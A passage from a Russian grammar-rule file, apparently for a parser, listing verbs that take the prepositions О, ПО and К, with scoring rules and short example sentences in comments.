rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях
rus_verbs:спорить{}, // они спорили о законе
глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия.
глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия.
rus_verbs:прочитать{}, // Я прочитал о тебе
rus_verbs:услышать{}, // Я услышал о нем
rus_verbs:помечтать{}, // Девочки помечтали о принце
rus_verbs:слышать{}, // Мальчик слышал о приведениях
rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке
rus_verbs:грустить{}, // Я грущу о тебе
rus_verbs:осведомить{}, // о последних достижениях науки
rus_verbs:рассказывать{}, // Антонио рассказывает о работе
rus_verbs:говорить{}, // говорим о трех больших псах
rus_verbs:идти{} // Вопрос идёт о войне.
}
fact гл_предл
{
if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } }
then return true
}
// Мы поделились впечатлениями о выставке.
// ^^^^^^^^^^ ^^^^^^^^^^
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:о{} *:*{} }
then return false,-5
}
#endregion Предлог_О
#region Предлог_ПО
// ------------------- С ПРЕДЛОГОМ 'ПО' ----------------------
// для этих глаголов - запрещаем связывание с ПО+дат.п.
wordentry_set Глаг_ПО_Дат_Запр=
{
rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:закончить{},
rus_verbs:мочь{},
rus_verbs:хотеть{}
}
fact гл_предл
{
if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } }
then return false,-10
}
// По умолчанию разрешаем связывание в паттернах типа
// Я иду по шоссе
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:дат } }
then return true
}
wordentry_set Глаг_ПО_Вин=
{
rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ)
rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО)
rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера
rus_verbs:засадить{}, // засадить по рукоятку
rus_verbs:увязнуть{} // увязнуть по колено
}
fact гл_предл
{
if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:вин } }
then return false,-5
}
#endregion Предлог_ПО
#region Предлог_К
// ------------------- С ПРЕДЛОГОМ 'К' ----------------------
wordentry_set Гл_К_Дат={
rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна.
rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску.
прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ)
rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ)
rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ)
rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ)
rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ)
rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ)
rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ)
rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ)
rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ)
rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, //
rus_verbs:ПРИНОРОВИТЬСЯ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ)
rus_verbs:СПИКИРОВАТЬ{}, //
rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С)
rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ)
rus_verbs:ПРОТЯНУТЬ{}, //
rus_verbs:ТЯНУТЬ{}, //
rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,,
rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, //
rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, //
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, //
rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ)
rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке.
rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ)
rus_verbs:хотеть{},
rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ)
rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ)
rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ)
rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ)
rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ)
rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ)
rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ)
rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ)
rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ)
rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г
rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ)
rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ)
rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К)
rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К)
rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К)
rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К)
rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К)
прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К)
безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К)
rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К)
rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К)
rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К)
rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К)
rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К)
rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К)
rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К)
rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К)
rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К)
rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К)
rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К)
rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К)
rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К)
rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К)
rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К)
rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К)
rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К)
rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К)
rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К)
rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К)
rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К)
rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К)
rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К)
глагол:быть{}, // к тебе есть вопросы.
прилагательное:равнодушный{}, // Он равнодушен к музыке.
rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К)
rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К)
инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К)
rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К)
rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к)
rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К)
rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К)
rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К)
rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К)
rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К)
rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К)
rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К)
rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к)
rus_verbs:просить{}, // Директор просит вас к себе. (просить к)
rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к)
rus_verbs:присесть{}, // старик присел к огню. (присесть к)
rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К)
rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к)
rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к)
rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К)
rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К)
rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К)
rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К)
rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к)
rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К)
rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К)
rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К)
rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К)
rus_verbs:подходить{}, // цвет подходил ей к лицу.
rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К)
rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К)
rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К)
rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К)
rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К)
rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К)
rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к)
rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К)
rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К)
rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к)
rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к)
rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К)
rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К)
rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К)
rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К)
rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к)
rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к)
rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к)
rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К)
rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к)
rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к)
rus_verbs:требовать{}, // вас требует к себе император. (требовать к)
rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к)
rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к)
rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К)
rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К)
rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к)
rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К)
rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К)
rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к)
rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к)
rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к)
rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К)
rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к)
rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к)
rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к)
rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К)
rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К)
rus_verbs:выехать{}, // почти сразу мы выехали к реке.
rus_verbs:пододвигаться{}, // пододвигайся к окну
rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам.
rus_verbs:представить{}, // Его представили к ордену.
rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу.
rus_verbs:выскочить{}, // тем временем они выскочили к реке.
rus_verbs:выйти{}, // тем временем они вышли к лестнице.
rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе.
rus_verbs:приложить{}, // приложить к детали повышенное усилие
rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку)
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю
rus_verbs:прыгать{}, // прыгать к хозяину на стол
rus_verbs:приглашать{}, // приглашать к доктору
rus_verbs:рваться{}, // Чужие люди рвутся к власти
rus_verbs:понестись{}, // понестись к обрыву
rus_verbs:питать{}, // питать привязанность к алкоголю
rus_verbs:заехать{}, // Коля заехал к Оле
rus_verbs:переехать{}, // переехать к родителям
rus_verbs:ползти{}, // ползти к дороге
rus_verbs:сводиться{}, // сводиться к элементарному действию
rus_verbs:добавлять{}, // добавлять к общей сумме
rus_verbs:подбросить{}, // подбросить к потолку
rus_verbs:призывать{}, // призывать к спокойствию
rus_verbs:пробираться{}, // пробираться к партизанам
rus_verbs:отвезти{}, // отвезти к родителям
rus_verbs:применяться{}, // применяться к уравнению
rus_verbs:сходиться{}, // сходиться к точному решению
rus_verbs:допускать{}, // допускать к сдаче зачета
rus_verbs:свести{}, // свести к нулю
rus_verbs:придвинуть{}, // придвинуть к мальчику
rus_verbs:подготовить{}, // подготовить к печати
rus_verbs:подобраться{}, // подобраться к оленю
rus_verbs:заторопиться{}, // заторопиться к выходу
rus_verbs:пристать{}, // пристать к берегу
rus_verbs:поманить{}, // поманить к себе
rus_verbs:припасть{}, // припасть к алтарю
rus_verbs:притащить{}, // притащить к себе домой
rus_verbs:прижимать{}, // прижимать к груди
rus_verbs:подсесть{}, // подсесть к симпатичной девочке
rus_verbs:придвинуться{}, // придвинуться к окну
rus_verbs:отпускать{}, // отпускать к другу
rus_verbs:пригнуться{}, // пригнуться к земле
rus_verbs:пристроиться{}, // пристроиться к колонне
rus_verbs:сгрести{}, // сгрести к себе
rus_verbs:удрать{}, // удрать к цыганам
rus_verbs:прибавиться{}, // прибавиться к общей сумме
rus_verbs:присмотреться{}, // присмотреться к покупке
rus_verbs:подкатить{}, // подкатить к трюму
rus_verbs:клонить{}, // клонить ко сну
rus_verbs:проследовать{}, // проследовать к выходу
rus_verbs:пододвинуть{}, // пододвинуть к себе
rus_verbs:применять{}, // применять к сотрудникам
rus_verbs:прильнуть{}, // прильнуть к экранам
rus_verbs:подвинуть{}, // подвинуть к себе
rus_verbs:примчаться{}, // примчаться к папе
rus_verbs:подкрасться{}, // подкрасться к жертве
rus_verbs:привязаться{}, // привязаться к собаке
rus_verbs:забирать{}, // забирать к себе
rus_verbs:прорваться{}, // прорваться к кассе
rus_verbs:прикасаться{}, // прикасаться к коже
rus_verbs:уносить{}, // уносить к себе
rus_verbs:подтянуться{}, // подтянуться к месту
rus_verbs:привозить{}, // привозить к ветеринару
rus_verbs:подползти{}, // подползти к зайцу
rus_verbs:приблизить{}, // приблизить к глазам
rus_verbs:применить{}, // применить к уравнению простое преобразование
rus_verbs:приглядеться{}, // приглядеться к изображению
rus_verbs:приложиться{}, // приложиться к ручке
rus_verbs:приставать{}, // приставать к девчонкам
rus_verbs:запрещаться{}, // запрещаться к показу
rus_verbs:прибегать{}, // прибегать к насилию
rus_verbs:побудить{}, // побудить к действиям
rus_verbs:притягивать{}, // притягивать к себе
rus_verbs:пристроить{}, // пристроить к полезному делу
rus_verbs:приговорить{}, // приговорить к смерти
rus_verbs:склоняться{}, // склоняться к прекращению разработки
rus_verbs:подъезжать{}, // подъезжать к вокзалу
rus_verbs:привалиться{}, // привалиться к забору
rus_verbs:наклоняться{}, // наклоняться к щенку
rus_verbs:подоспеть{}, // подоспеть к обеду
rus_verbs:прилипнуть{}, // прилипнуть к окну
rus_verbs:приволочь{}, // приволочь к себе
rus_verbs:устремляться{}, // устремляться к вершине
rus_verbs:откатиться{}, // откатиться к исходным позициям
rus_verbs:побуждать{}, // побуждать к действиям
rus_verbs:прискакать{}, // прискакать к кормежке
rus_verbs:присматриваться{}, // присматриваться к новичку
rus_verbs:прижиматься{}, // прижиматься к борту
rus_verbs:жаться{}, // жаться к огню
rus_verbs:передвинуть{}, // передвинуть к окну
rus_verbs:допускаться{}, // допускаться к экзаменам
rus_verbs:прикрепить{}, // прикрепить к корпусу
rus_verbs:отправлять{}, // отправлять к специалистам
rus_verbs:перебежать{}, // перебежать к врагам
rus_verbs:притронуться{}, // притронуться к реликвии
rus_verbs:заспешить{}, // заспешить к семье
rus_verbs:ревновать{}, // ревновать к сопернице
rus_verbs:подступить{}, // подступить к горлу
rus_verbs:уводить{}, // уводить к ветеринару
rus_verbs:побросать{}, // побросать к ногам
rus_verbs:подаваться{}, // подаваться к ужину
rus_verbs:приписывать{}, // приписывать к достижениям
rus_verbs:относить{}, // относить к растениям
rus_verbs:принюхаться{}, // принюхаться к ароматам
rus_verbs:подтащить{}, // подтащить к себе
rus_verbs:прислонить{}, // прислонить к стене
rus_verbs:подплыть{}, // подплыть к бую
rus_verbs:опаздывать{}, // опаздывать к стилисту
rus_verbs:примкнуть{}, // примкнуть к деомнстрантам
rus_verbs:стекаться{}, // стекаются к стенам тюрьмы
rus_verbs:подготовиться{}, // подготовиться к марафону
rus_verbs:приглядываться{}, // приглядываться к новичку
rus_verbs:присоединяться{}, // присоединяться к сообществу
rus_verbs:клониться{}, // клониться ко сну
rus_verbs:привыкать{}, // привыкать к хорошему
rus_verbs:принудить{}, // принудить к миру
rus_verbs:уплыть{}, // уплыть к далекому берегу
rus_verbs:утащить{}, // утащить к детенышам
rus_verbs:приплыть{}, // приплыть к финишу
rus_verbs:подбегать{}, // подбегать к хозяину
rus_verbs:лишаться{}, // лишаться средств к существованию
rus_verbs:приступать{}, // приступать к операции
rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике
rus_verbs:подключить{}, // подключить к трубе
rus_verbs:подключиться{}, // подключиться к сети
rus_verbs:прилить{}, // прилить к лицу
rus_verbs:стучаться{}, // стучаться к соседям
rus_verbs:пристегнуть{}, // пристегнуть к креслу
rus_verbs:присоединить{}, // присоединить к сети
rus_verbs:отбежать{}, // отбежать к противоположной стене
rus_verbs:подвезти{}, // подвезти к набережной
rus_verbs:прибегнуть{}, // прибегнуть к хитрости
rus_verbs:приучить{}, // приучить к туалету
rus_verbs:подталкивать{}, // подталкивать к выходу
rus_verbs:прорываться{}, // прорываться к выходу
rus_verbs:увозить{}, // увозить к ветеринару
rus_verbs:засеменить{}, // засеменить к выходу
rus_verbs:крепиться{}, // крепиться к потолку
rus_verbs:прибрать{}, // прибрать к рукам
rus_verbs:пристраститься{}, // пристраститься к наркотикам
rus_verbs:поспеть{}, // поспеть к обеду
rus_verbs:привязывать{}, // привязывать к дереву
rus_verbs:прилагать{}, // прилагать к документам
rus_verbs:переправить{}, // переправить к дедушке
rus_verbs:подогнать{}, // подогнать к воротам
rus_verbs:тяготеть{}, // тяготеть к социализму
rus_verbs:подбираться{}, // подбираться к оленю
rus_verbs:подступать{}, // подступать к горлу
rus_verbs:примыкать{}, // примыкать к первому элементу
rus_verbs:приладить{}, // приладить к велосипеду
rus_verbs:подбрасывать{}, // подбрасывать к потолку
rus_verbs:перевозить{}, // перевозить к новому месту дислокации
rus_verbs:усаживаться{}, // усаживаться к окну
rus_verbs:приближать{}, // приближать к глазам
rus_verbs:попроситься{}, // попроситься к бабушке
rus_verbs:прибить{}, // прибить к доске
rus_verbs:перетащить{}, // перетащить к себе
rus_verbs:прицепить{}, // прицепить к паровозу
rus_verbs:прикладывать{}, // прикладывать к ране
rus_verbs:устареть{}, // устареть к началу войны
rus_verbs:причалить{}, // причалить к пристани
rus_verbs:приспособиться{}, // приспособиться к опозданиям
rus_verbs:принуждать{}, // принуждать к миру
rus_verbs:соваться{}, // соваться к директору
rus_verbs:протолкаться{}, // протолкаться к прилавку
rus_verbs:приковать{}, // приковать к батарее
rus_verbs:подкрадываться{}, // подкрадываться к суслику
rus_verbs:подсадить{}, // подсадить к арестонту
rus_verbs:прикатить{}, // прикатить к финишу
rus_verbs:протащить{}, // протащить к владыке
rus_verbs:сужаться{}, // сужаться к основанию
rus_verbs:присовокупить{}, // присовокупить к пожеланиям
rus_verbs:пригвоздить{}, // пригвоздить к доске
rus_verbs:отсылать{}, // отсылать к первоисточнику
rus_verbs:изготовиться{}, // изготовиться к прыжку
rus_verbs:прилагаться{}, // прилагаться к покупке
rus_verbs:прицепиться{}, // прицепиться к вагону
rus_verbs:примешиваться{}, // примешиваться к вину
rus_verbs:переселить{}, // переселить к старшекурсникам
rus_verbs:затрусить{}, // затрусить к выходе
rus_verbs:приспособить{}, // приспособить к обогреву
rus_verbs:примериться{}, // примериться к аппарату
rus_verbs:прибавляться{}, // прибавляться к пенсии
rus_verbs:подкатиться{}, // подкатиться к воротам
rus_verbs:стягивать{}, // стягивать к границе
rus_verbs:дописать{}, // дописать к роману
rus_verbs:подпустить{}, // подпустить к корове
rus_verbs:склонять{}, // склонять к сотрудничеству
rus_verbs:припечатать{}, // припечатать к стене
rus_verbs:охладеть{}, // охладеть к музыке
rus_verbs:пришить{}, // пришить к шинели
rus_verbs:принюхиваться{}, // принюхиваться к ветру
rus_verbs:подрулить{}, // подрулить к барышне
rus_verbs:наведаться{}, // наведаться к оракулу
rus_verbs:клеиться{}, // клеиться к конверту
rus_verbs:перетянуть{}, // перетянуть к себе
rus_verbs:переметнуться{}, // переметнуться к конкурентам
rus_verbs:липнуть{}, // липнуть к сокурсницам
rus_verbs:поковырять{}, // поковырять к выходу
rus_verbs:подпускать{}, // подпускать к пульту управления
rus_verbs:присосаться{}, // присосаться к источнику
rus_verbs:приклеить{}, // приклеить к стеклу
rus_verbs:подтягивать{}, // подтягивать к себе
rus_verbs:подкатывать{}, // подкатывать к даме
rus_verbs:притрагиваться{}, // притрагиваться к опухоли
rus_verbs:слетаться{}, // слетаться к водопою
rus_verbs:хаживать{}, // хаживать к батюшке
rus_verbs:привлекаться{}, // привлекаться к административной ответственности
rus_verbs:подзывать{}, // подзывать к себе
rus_verbs:прикладываться{}, // прикладываться к иконе
rus_verbs:подтягиваться{}, // подтягиваться к парламенту
rus_verbs:прилепить{}, // прилепить к стенке холодильника
rus_verbs:пододвинуться{}, // пододвинуться к экрану
rus_verbs:приползти{}, // приползти к дереву
rus_verbs:запаздывать{}, // запаздывать к обеду
rus_verbs:припереть{}, // припереть к стене
rus_verbs:нагибаться{}, // нагибаться к цветку
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам
деепричастие:сгоняв{},
rus_verbs:поковылять{}, // поковылять к выходу
rus_verbs:привалить{}, // привалить к столбу
rus_verbs:отпроситься{}, // отпроситься к родителям
rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям
rus_verbs:прилипать{}, // прилипать к рукам
rus_verbs:подсоединить{}, // подсоединить к приборам
rus_verbs:приливать{}, // приливать к голове
rus_verbs:подселить{}, // подселить к другим новичкам
rus_verbs:прилепиться{}, // прилепиться к шкуре
rus_verbs:подлетать{}, // подлетать к пункту назначения
rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями
rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг
rus_verbs:льнуть{}, // льнуть к заботливому хозяину
rus_verbs:привязываться{}, // привязываться к любящему хозяину
rus_verbs:приклеиться{}, // приклеиться к спине
rus_verbs:стягиваться{}, // стягиваться к сенату
rus_verbs:подготавливать{}, // подготавливать к выходу на арену
rus_verbs:приглашаться{}, // приглашаться к доктору
rus_verbs:причислять{}, // причислять к отличникам
rus_verbs:приколоть{}, // приколоть к лацкану
rus_verbs:наклонять{}, // наклонять к горизонту
rus_verbs:припадать{}, // припадать к первоисточнику
rus_verbs:приобщиться{}, // приобщиться к культурному наследию
rus_verbs:придираться{}, // придираться к мелким ошибкам
rus_verbs:приучать{}, // приучать к лотку
rus_verbs:промотать{}, // промотать к началу
rus_verbs:прихлынуть{}, // прихлынуть к голове
rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу
rus_verbs:прикрутить{}, // прикрутить к велосипеду
rus_verbs:подплывать{}, // подплывать к лодке
rus_verbs:приравниваться{}, // приравниваться к побегу
rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами
rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы
rus_verbs:приткнуться{}, // приткнуться к первой группе туристов
rus_verbs:приручить{}, // приручить котика к лотку
rus_verbs:приковывать{}, // приковывать к себе все внимание прессы
rus_verbs:приготовляться{}, // приготовляться к первому экзамену
rus_verbs:остыть{}, // Вода остынет к утру.
